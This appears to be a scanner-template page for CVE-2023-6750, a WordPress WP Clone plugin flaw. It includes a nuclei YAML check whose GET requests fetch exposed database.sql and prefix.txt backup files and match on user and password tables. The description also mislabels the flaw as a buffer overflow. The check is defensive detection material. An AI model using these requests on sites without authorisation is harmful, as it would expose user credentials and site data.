WordPress WP Clone <= 2.4.2 - Database Backup Exposure

criticalseverity

9.8CVSS score

2%likelihood of exploitation, next 30 days

81%of all CVEs are less likely

Readycheck to confirm it

Clone WordPress plugin < 2.4.3 contains a buffer overflow caused by storing in-progress backup information in publicly accessible buffer files at a static file path, letting attackers access sensitive backup data, exploit requires no special privileges

Impact

Attackers can access sensitive backup information, potentially leading to data disclosure or manipulation.

Fix

Update to version 2.4.3 or later.

How to confirm it

Send: GET {{BaseURL}}/wp-content/uploads/wp-clone/wpclone_backup/database.sql
Positive when: contains "CREATE TABLE" and "INSERT INTO" AND contains "wp_users" or "wp_options" or "user_pass" AND status 200
Send: GET {{BaseURL}}/wp-content/uploads/wp-clone/wpclone_backup/prefix.txt
Positive when: matches /^[a-zA-Z0-9_]+$/ AND status 200

Run it with nuclei: nuclei -id CVE-2023-6750 -u <target>

The full check

id: CVE-2023-6750

info:
  name: WordPress WP Clone <= 2.4.2 - Database Backup Exposure
  author: pussycat0x
  severity: critical
  description: |
    Clone WordPress plugin < 2.4.3 contains a buffer overflow caused by storing in-progress backup information in publicly accessible buffer files at a static file path, letting attackers access sensitive backup data, exploit requires no special privileges
  impact: |
    Attackers can access sensitive backup information, potentially leading to data disclosure or manipulation.
  remediation: |
    Update to version 2.4.3 or later.
  reference:
    - https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/wp-clone-by-wp-academy/clone-242-sensitive-information-exposure
    - https://plugins.trac.wordpress.org/changeset/3012647/wp-clone-by-wp-academy
    - https://nvd.nist.gov/vuln/detail/CVE-2023-6750
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2023-6750
    epss-score: 0.01961
    epss-percentile: 0.80495
    cwe-id: CWE-200
    cpe: cpe:2.3:a:developer:clone:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 2
    product: clone
    framework: wordpress
    shodan-query: http.html:"wp-clone-by-wp-academy"
    fofa-query: body="wp-clone-by-wp-academy"
  tags: cve,cve2023,wp,wp-plugin,wordpress,wp-clone,backup

flow: http(1) && http(2)

http:
  - method: GET
    path:
      - "{{BaseURL}}/wp-content/uploads/wp-clone/wpclone_backup/database.sql"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "CREATE TABLE"
          - "INSERT INTO"
        condition: and

      - type: word
        part: body
        words:
          - "wp_users"
          - "wp_options"
          - "user_pass"
        condition: or

      - type: status
        status:
          - 200

    extractors:
      - type: regex
        name: db_table
        part: body
        group: 1
        regex:
          - "CREATE TABLE[^`]*`([^`]+)`"

  - method: GET
    path:
      - "{{BaseURL}}/wp-content/uploads/wp-clone/wpclone_backup/prefix.txt"

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "^[a-zA-Z0-9_]+$"
        internal: true

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from